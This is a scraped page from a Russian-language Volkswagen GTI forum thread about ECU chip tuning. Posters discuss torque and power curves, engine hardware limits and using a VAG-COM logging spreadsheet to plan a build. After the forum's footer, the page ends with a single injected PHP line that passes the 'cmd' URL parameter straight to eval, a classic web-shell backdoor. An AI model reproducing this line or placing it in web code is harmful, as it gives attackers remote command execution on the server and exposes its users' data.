+ Ответить в теме
Страница 24 из 81 ПерваяПервая ... 14 22 23 24 25 26 34 74 ... ПоследняяПоследняя
Показано с 231 по 240 из 809

Тема: чип vs чип (подход, особенности, проблемы и т.п.)


  1. #231
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от Амет Посмотреть сообщение
    п.с. почему 6300 ? потому что выше не будет больше момента или потому что пружинки не выдерживают?
    ====
    Да потому что если продолжать держать полку после 6300 то нужны кованные поршни ибо мы вылезаем за безопасные 400лс.



    Вообще, совет всем, скачайте с ваг-комовского сайта "channel 120 tutorial" и начинайте строить графики.
    Много-много вопросов сразу отпадёт

    Добавлено через 3 минуты
    Вот что было-бы если держать полку ещё на 1000 оборотов (до 7300)



    Добавлено через 7 минут
    http://www.ross-tech.net/vag-com/examples/Block_120_Tutorial.xls
    Последний раз редактировалось turborabbit; 15.09.2011 в 17:44. Причина: Добавлено сообщение

  2. #232
    GTI-Racing Serzh will become famous soon enough Serzh will become famous soon enough Аватар для Serzh
    Регистрация
    21.01.2008
    Откуда
    Киев
    Машина
    A4 Allroad
    Сообщений
    1,211
    Цитата Сообщение от BON Посмотреть сообщение
    ну у меня просто тюнинг, р\вал с другими характеристиками.


    Карбонизации не было в моторе ?
    Все было чисто.
    MKV GTI APR Stage 2 - продан ((
    AUDI A4 allroad
    МB E280 4 MATIC - продан

  3. #233
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    А какова погрешность таких измерений?
    BMW 330D POWERED by Dizelboost :pepper:

  4. #234
    Цитата Сообщение от inVENTOr Посмотреть сообщение
    А какова погрешность таких измерений?
    Измерений каких? Ты имеешь ввиду реальный график и такой нарисованный?
    Здесь имеется ввиду, что перед любым проектом ты сначала рисуешь свой график и приносишь чиповщику. А он тебе говорит что для этого надо купить, какое железо. Ты покупаешь и он настраивает так, чтобы результат соответствовал твоему рисунку:)
    2.0 TFSI/K04..

  5. #235
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    чота я не вкурил, зачем рисовать график и нести его программисту?))))
    ну я нарисую чонить и он будет под мои каракули машину строить. . . както от обратного идем:):):)
    BMW 330D POWERED by Dizelboost :pepper:

  6. #236
    Цитата Сообщение от inVENTOr Посмотреть сообщение
    чота я не вкурил, зачем рисовать график и нести его программисту?))))
    ну я нарисую чонить и он будет под мои каракули машину строить. . . както от обратного идем:):):)
    Ну а как ты сформулируешь ему то, что ты хочешь? Ведь просто "хочу 350 сил и 450 момента", это далеко не полная информация.
    Но в то же время одно дело просто нарисовать карандашом прямую от 1000 до 8000 оборотов, а другое дело взять програмку, которая рисует реальные графики, позволяя вводить переменные данные.
    Так и должно быть, и такой график будет как "проект" для строителя.
    2.0 TFSI/K04..

  7. #237
    GTI-Racing Глум is on a distinguished road Аватар для Глум
    Регистрация
    13.06.2007
    Откуда
    Москва
    Машина
    Skoda vRS 3**hp
    Сообщений
    335
    Амет
    Конкретно IE шатуны идут под штатные пальцы-поршни и т.д. Все стоковое. Проверено мной 3 года назад и перепроверено АвтоПрагой 2 месяца назад:)
    Бери, не очкуй:)

  8. #238
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    Цитата Сообщение от alex323-69 Посмотреть сообщение
    Ну а как ты сформулируешь ему то, что ты хочешь? Ведь просто "хочу 350 сил и 450 момента", это далеко не полная информация.
    Но в то же время одно дело просто нарисовать карандашом прямую от 1000 до 8000 оборотов, а другое дело взять програмку, которая рисует реальные графики, позволяя вводить переменные данные.
    Так и должно быть, и такой график будет как "проект" для строителя.
    Понял, интересный подход:)
    Обычно как ты и сказал, хочу вот стока, чо мне надо купить) ) )
    BMW 330D POWERED by Dizelboost :pepper:

  9. #239
    Цитата Сообщение от inVENTOr Посмотреть сообщение
    Обычно как ты и сказал, хочу вот стока, чо мне надо купить) ) )
    Не, ну обычно тоже цифры говорим, но если спросять - в каком диапазоне оборотов например, то уже пожимаешь плечами:)
    2.0 TFSI/K04..

  10. #240
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от alex323-69 Посмотреть сообщение
    перед любым проектом ты сначала рисуешь свой график и приносишь чиповщику. А он тебе говорит что для этого надо купить, какое железо. Ты покупаешь и он настраивает так, чтобы результат соответствовал твоему рисунку:)
    ====
    Именно так.
    Просто во первых не все помнят что момент и мощность жёстко связаны между собой и оборотами.
    Так вот такие экселики помогают хомячкам спустицца с небес и перестать мечтать о невозможном. Ибо народ начитавшись форумов начинает оперировать лошадьми и тоннами будто это говно за баней.
    А когда начинает появляться конкретная формулировка чего нужно, тогда начинает создавацца и список модификаций и бюджет.
    Это не выгодно лохотюнерам пытающимся впарить хомячкам ненужные железки. И это не выгодно лохотюнерам не уверенным в результате своих ковыряний отвёрткой в мозгах.
    Но это неотменная часть в постройке расово верных пепелацов.

    Добавлено через 3 минуты
    Цитата Сообщение от inVENTOr Посмотреть сообщение
    хочу вот стока, чо мне надо купить) ) )
    ====
    Это подход новичка, на котором у лохотюнеров есть отличная возможность заработать.
    Но это очень мало говорит о реальном результате.
    Впрочем, если задача - напечатать красивый график, всунуть в рамочку и поставить в гараже/офисе/на серванте - то этот подход тоже неплох. НО для всего перечисленного обычно нужна 1/3 бюджета который запросят тюнеры.
    Последний раз редактировалось turborabbit; 15.09.2011 в 19:58. Причина: Добавлено сообщение

+ Ответить в теме
Страница 24 из 81 ПерваяПервая ... 14 22 23 24 25 26 34 74 ... ПоследняяПоследняя

Похожие темы

  1. Особенности установки холодного впуска на 2.0Т
    от serzh1 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 47
    Последнее сообщение: 02.10.2023, 06:07
  2. Проблемы с DSG на GTI VI
    от Strang3r в разделе Отзывы / Выбор
    Ответов: 50
    Последнее сообщение: 13.09.2010, 19:45
  3. все технические особенности Volkswagen
    от nedoroslik в разделе Отзывы / Выбор
    Ответов: 4
    Последнее сообщение: 20.01.2010, 02:20
  4. Проблемы с DSG
    от DendisGTI в разделе Украина
    Ответов: 11
    Последнее сообщение: 24.12.2009, 20:12
  5. проблемы с vr6
    от no frost в разделе Двигатель
    Ответов: 3
    Последнее сообщение: 25.05.2008, 12:51

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}